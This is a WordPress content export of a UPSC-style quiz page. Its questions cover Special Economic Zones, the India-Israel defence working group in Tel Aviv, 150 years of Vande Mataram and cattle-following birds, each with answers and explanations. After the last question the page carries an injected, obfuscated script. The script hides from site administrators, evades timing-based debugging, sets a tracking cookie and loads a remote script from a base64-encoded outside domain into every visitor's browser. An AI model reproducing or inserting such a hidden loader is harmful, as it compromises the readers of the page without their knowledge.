has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Special Economic Zone (SEZ):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>SEZs are <strong>geographically designated areas<\/strong> where <strong>economic laws are more liberal<\/strong> than in the rest of the country to promote <strong>exports, FDI, and industrial growth<\/strong>.<\/li>\n\n\n\n<li><strong>Legal Basis:<\/strong> Governed by the <strong>Special Economic Zones Act, 2005<\/strong> and <strong>SEZ Rules, 2006<\/strong>.<\/li>\n\n\n\n<li><strong>Nodal Ministry:<\/strong> <strong>Ministry of Commerce and Industry.<\/strong><\/li>\n\n\n\n<li><strong>Objectives:<\/strong><ul><li>Promote exports of goods and services.<\/li><\/ul><ul><li>Attract foreign and domestic investment.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Generate employment and infrastructure development.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-112\">\n<li><strong>Incentives:<\/strong><ul><li>Tax holidays and duty-free imports.<\/li><\/ul><ul><li>Exemption from customs\/excise duties.<\/li><\/ul><ul><li>Simplified labour and land-use norms.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Single-window clearance.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Types of SEZs:<\/strong><ul><li><strong>Free Trade and Warehousing Zones (FTWZ)<\/strong><\/li><\/ul><ul><li><strong>IT\/ITeS SEZs<\/strong><\/li><\/ul><ul><li><strong>Multi-product SEZs<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Sector-specific SEZs<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Recent Developments:<\/strong><ul><li>Government plans to <strong>replace SEZ Act, 2005 with the Development of Enterprise and Service Hubs (DESH) Bill<\/strong>, to make zones compliant with WTO rules and boost domestic integration.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>SEZ exports<\/strong> contribute over <strong>40% of India\u2019s total merchandise exports<\/strong> (as per recent data).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. With reference to an initiative called &#8220;The Economics of Ecosystems and Biodiversity (TEEB)&#8221; which of the following statements is\/are correct?<\/strong> <br><br>1. It is an initiative hosted by UNEP, IMF and World Economic Forum. <br>2. It is a global initiative that focuses on drawing attention to the economic benefits of biodiversity. <br>3. It presents an approach that can help decision-makers recognize, demonstrate and capture the value of ecosystems and biodiversity. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 only <br>(b) 3 only <br><strong>(c) 2 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/business\/economy\/govt-panel-working-on-new-sez-norms-for-exporters-to-access-domestic-market-10348649\/lite\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/business\/economy\/govt-panel-working-on-new-sez-norms-for-exporters-to-access-domestic-market-10348649\/lite\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>8. Tel Aviv recently seen in the news is located in<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(a) Yemen<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(b) Israel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(c) Ukraine<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(d) Egypt<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Answer: (b) Israel<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>In NEWS: <\/strong>17th India-Israel Joint Working Group meeting on defence cooperation held in Tel Aviv<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>India\u2013Israel Joint Working Group (JWG) on Defence Cooperation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-123\">\n<li>The <strong>17th meeting of the India\u2013Israel JWG on Defence Cooperation<\/strong> was held in <strong>Tel Aviv, Israel<\/strong>, on <strong>November 4, 2025<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>A <strong>Memorandum of Understanding (MoU) on Defence Cooperation<\/strong> was signed to:<ul><li>Provide a <strong>unified vision and policy direction<\/strong> for bilateral defence ties.<\/li><\/ul><ul><li>Enable <strong>sharing of advanced technology<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Promote <strong>co-development and co-production<\/strong> of defence systems.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Areas of cooperation identified include:<ul><li>Strategic dialogues &amp; training,<\/li><\/ul><ul><li>Defence industrial cooperation,<\/li><\/ul><ul><li>Science &amp; Technology, R&amp;D,<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Artificial Intelligence (AI) and Cybersecurity.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The meeting also covered <strong>counter-terrorism cooperation<\/strong> and <strong>operational capability enhancement<\/strong>.<\/li>\n\n\n\n<li>The India &#8211; Israel defence relationship is <strong>long-standing<\/strong>, built on <strong>mutual trust and shared security interests<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186384\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186384<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>9. With reference to Vande Mataram, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">1. It was originally written in Hindi and appeared in the novel Anandamath.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">2. Only its first two stanzas have been given the status of the National Song of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">3. It was first sung in 1947 during India\u2019s Independence celebrations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(a) 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(c) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(d) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>In NEWS: <\/strong>Prime Minister Shri Narendra Modi to inaugurate the year-long Commemoration of 150 Years of the National Song \u201cVande Mataram\u201d on 7th November 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>150 Years of \u201cVande Mataram\u201d:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li><strong>Year:<\/strong> 2025 marks <strong>150 years since \u201cVande Mataram\u201d was composed (1875)<\/strong> by <strong>Bankim Chandra Chattopadhyay<\/strong>.<\/li>\n\n\n\n<li><strong>Origin:<\/strong> Written in <strong>Sanskrit and Bengali<\/strong>, it first appeared in <strong>Bankim\u2019s novel <em>Anandamath<\/em><\/strong> (published in 1882). <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Meaning:<\/strong> <em>\u201cVande Mataram\u201d<\/em> translates to <em>\u201cI bow to thee, Mother\u201d<\/em>\u2014a salutation to the motherland.<\/li>\n\n\n\n<li><strong>Cultural Significance: <\/strong>Became a <strong>symbol of national unity and freedom<\/strong> during India\u2019s independence movement. Inspired freedom fighters during <strong>Partition of Bengal (1905)<\/strong> and other movements.<\/li>\n\n\n\n<li><strong>Official Recognition:<\/strong><ul><li>The <strong>first two stanzas<\/strong> were adopted as the <strong>National Song<\/strong> of India in <strong>January 1950<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Distinguished from the <strong>National Anthem<\/strong> (<em>Jana Gana Mana<\/em>) but holds <strong>equal national reverence<\/strong>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Composer &amp; Music:<\/strong> Music composed by <strong>Rabindranath Tagore<\/strong>, first sung at the <strong>Indian National Congress session (1896)<\/strong>. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Themes:<\/strong> Depicts India as a <strong>divine mother<\/strong>\u2014rich in natural beauty, fertility, and strength\u2014personified through <strong>Durga imagery<\/strong>.<\/li>\n\n\n\n<li><strong>Commemoration:<\/strong> 2025 celebrations emphasize its <strong>legacy of patriotism<\/strong>, <strong>linguistic harmony<\/strong>, and <strong>cultural revival<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. With reference to the book \u201cDesher Katha\u201d written by Sakharam Ganesh Deuskar during the freedom struggle, consider the following statements:<\/strong> <br><br>1. It warned against the Colonial State\u2019s hypnotic conquest of the mind. <br>2. It inspired the performance of swadeshi street plays and folk songs. <br>3. The use of \u2018desh\u2019 by Deuskar was in the specific context of the region of Bengal. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br><strong>(a) 1 and 2 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186757\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186757<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>10. If you walk through countryside, you are likely to see some birds stalking alongside the cattle to seize the insects disturbed by their movement through grasses. Which of the following is\/are such bird\/birds?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">1. Painted Stork<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">2. Common Myna<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">3. Black-necked Crane<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(a) 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(c) 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(d) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li><strong>Common Myna<\/strong> often follows grazing cattle in fields to catch insects stirred up by their movement.<\/li>\n\n\n\n<li><strong>Painted Stork<\/strong> is a wading bird usually found in wetlands and shallow waters, not grasslands.<\/li>\n\n\n\n<li><strong>Black-necked Crane<\/strong> inhabits high-altitude wetlands and marshes in the Himalayas (e.g., Ladakh, Arunachal Pradesh), not typical countryside plains with cattle.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>Hence, only Common Myna exhibits this behavior.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to Contempt of Court in India, consider the following statements: I. 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